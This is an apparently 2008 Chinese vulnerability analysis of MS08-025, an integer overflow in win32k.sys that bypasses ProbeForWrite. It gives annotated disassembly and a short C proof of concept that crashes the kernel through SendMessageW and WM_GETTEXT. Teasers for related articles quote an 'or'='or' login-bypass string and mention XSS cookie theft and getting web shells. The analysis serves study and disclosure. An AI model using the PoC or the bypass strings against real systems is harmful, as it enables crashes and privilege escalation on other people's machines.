Windows 内核漏洞 ms08025 分析

所属分类: 网络安全 / 漏洞分析 阅读数: 168
收藏 0 赞 0 分享
Windows 内核漏洞 ms08025 分析 Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2008-04-10 经内部讨论后决定公布分析成果。 4月8号microsoft再次发布了一个系统内核的补丁(KB941693),
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。 从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了
能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其
中出问题的地方非常有趣,是因为溢出寄存器来绕过 ProbeForWrite
函数对用户层传来的指针的检查,下面我们就从 NtUserfnOUTSTRING
函数中的问题来展开我们的分析(我分析的平台是winxp sp2) .text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x) 6Ep
.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x) 61p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x) 6Dp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x) 60p ...
.text:BF86FB04
.text:BF86FB04 var_24 = dword ptr -24h
.text:BF86FB04 var_20 = dword ptr -20h
.text:BF86FB04 UserBuffer = dword ptr -1Ch
.text:BF86FB04 ms_exc = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0 = dword ptr 8
.text:BF86FB04 arg_4 = dword ptr 0Ch
.text:BF86FB04 arg_8 = dword ptr 10h
.text:BF86FB04 Address = dword ptr 14h
.text:BF86FB04 arg_10 = dword ptr 18h
.text:BF86FB04 arg_14 = dword ptr 1Ch
.text:BF86FB04 arg_18 = dword ptr 20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES .text:BF86FB04
.text:BF86FB04 push 14h
.text:BF86FB06 push offset unk_BF98D250
.text:BF86FB0B call __SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 or eax, esi
.text:BF86FB27 mov [ebp var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp arg_8] -> esi = 缓冲区长度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp var_20], eax
.text:BF86FB36 cmp [ebp arg_18], edx -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax eax] <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
<- 当 eax = 0x80000000 的时候 eax eax = 0x100000000,32位的寄存器
<- 被溢出了,esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47: ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x) 35j
.text:BF86FB47 mov [ebp var_24], edx
.text:BF86FB4A mov esi, [ebp Address]
.text:BF86FB4D mov [ebp UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 push ebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 push eax ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57 push esi ; Address
.text:BF86FB58 call ds:ProbeForWrite(x,x,x)
bf80a1b0 e96ef4ffff jmp win32k!xxxRealDefWindowProc 0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510 mov [ebp 0x10],eax
bf80a1ba ebf1 jmp win32k!xxxRealDefWindowProc 0x190 (bf80a1ad)
bf80a1bc 8b4514 mov eax,[ebp 0x14]
bf80a1bf f6400780 test byte ptr [eax 0x7],0x80
bf80a1c3 8b4008 mov eax,[eax 0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc 0x105 (bf80a1d0)
bf80a1c8 c60000 mov byte ptr [eax],0x0
bf80a1cb e951f4ffff jmp win32k!xxxRealDefWindowProc 0x1225 (bf809621)
bf80a1d0 668910 mov [eax],dx <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff jmp win32k!xxxRealDefWindowProc 0x1225 (bf809621)
bf80a1d8 6a00 push 0x0
bf80a1da 6a02 push 0x2
bf80a1dc ff7638 push dword ptr [esi 0x38]
bf80a1df e8d1690200 call win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff test edi,edi
bf80a1e8 0f8433f4ffff je win32k!xxxRealDefWindowProc 0x1225 (bf809621)
bf80a1ee 8d7710 lea esi,[edi 0x10]
那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,
发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit) #include <stdio.h>
#include <windows.h> int main(int argc,char *argv[])
{
DWORD dwHookAddress = 0x80000000; printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
printf( "Create by Whitecell’s Polymorphours@whitecell.org 2008/04/10\n" ); SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
return 0;
} WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。

更多精彩内容其他人还在看

万能密码漏洞以及修复

  万能密码漏洞以及修复   记得几年前要入侵一个企业网站超级简单   一般只需要找到后台 还有后台通常是www.xxx.com/admin/   然后账号 密码都是'or'='or' 就进去   现在好像有几个也可以用 但是已经没那么普及了   如果网站还出现这种“
收藏 0 赞 0 分享

cyask知道系统collect.php页面存在越权漏洞

影响版本: Cyask 程序介绍: Cyask国内较为多人使用的仿百度风格的Ask系统。 漏洞分析: 从Collect.php代码当中可以看到 else   {     /*  
收藏 0 赞 0 分享

恒浪IMS整合系统V4.1 多文件存在SQL注入漏洞

影响版本: HoWave V4.1 ASP 漏洞描述: 在文件inc/ hl_manage.inc中: adminUserId= Request.Cookies("hl_manage")("username")  
收藏 0 赞 0 分享

WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞

感谢:Iceboy发现此问题并提供DUMP 漏洞厂商及产品:Microsoft Windows 7 rc 7100 090421 存在漏洞组件:win32k.sys Timestamp :49ee8dc8 存在漏洞函数:NtUserGetDc/NtUserGetDcEx 漏洞描
收藏 0 赞 0 分享

Gh0st控制端逻辑漏洞

严重程度:高 威胁程度:控制远程主机 错误类型:逻辑错误 利用方式:主机模式   受影响系统 Gh0st3.6之前所有版本 未影响系统 未知 详细描述 Gh0st 发现漏洞一个逻辑漏洞,这些漏洞可以被用户利用,可以从被控端向控制端发送任意文件到任意位置。 测试
收藏 0 赞 0 分享

微软IIS6漏洞:服务器敏感信息易被窃

近日,安全专家对使用微软Internet信息服务IIS 6的管理员发出警告,声称Web服务器很容易受到攻击并暴露出密码保护的文件和文件夹。   据悉,基于WebDAV协议的部分进程命令中存在这种漏洞。通过给Web地址添加一些Unicode字符,黑客就可以访问这些敏感文件&mda
收藏 0 赞 0 分享

校内网最新 xss Cookies得到密码

From:http://t00ls.net/viewthread.php?tid=1323&highlight= 校内网在发blog时对插入图片过滤不严格,存在xss漏洞. 在发blog时将插入图片URL写为如下代码即可触发:普通浏览复制代码打印代码 javas
收藏 0 赞 0 分享

phpcms2008 注入漏洞

这个是最新有人发现的 该漏洞文件:ask/search_ajax.php 漏洞说明: /ask/search_ajax.php Code: if($q) { $where = " title LIKE '%$q%' AND status = 5&qu
收藏 0 赞 0 分享

PHPWIND & DISCUZ! CSRF漏洞

PHPWIND & DISCUZ! CSRF漏洞影响版本: Discuz! 6.0.0 & 6.1.0 & 7.0.0 PHPWIND 6.0 & 6.3 & 7.0 漏洞描述: PHPWIND & DISCUZ!存在CSRF漏洞
收藏 0 赞 0 分享

phpwin7.0拿shell的方法

事发一星期前,在入侵一个PHPWIND论坛时的成果,适用于PHPWIND不能上传,而网上盛传的三种拿SEHLL方法都无效,可以一试,应该算是PHPWIND后台的漏洞 准备工具:winsock专家 v0.6 betan1 一只;UE-32.EXE一只;NC.EXE一只,电脑一台(
收藏 0 赞 0 分享
查看更多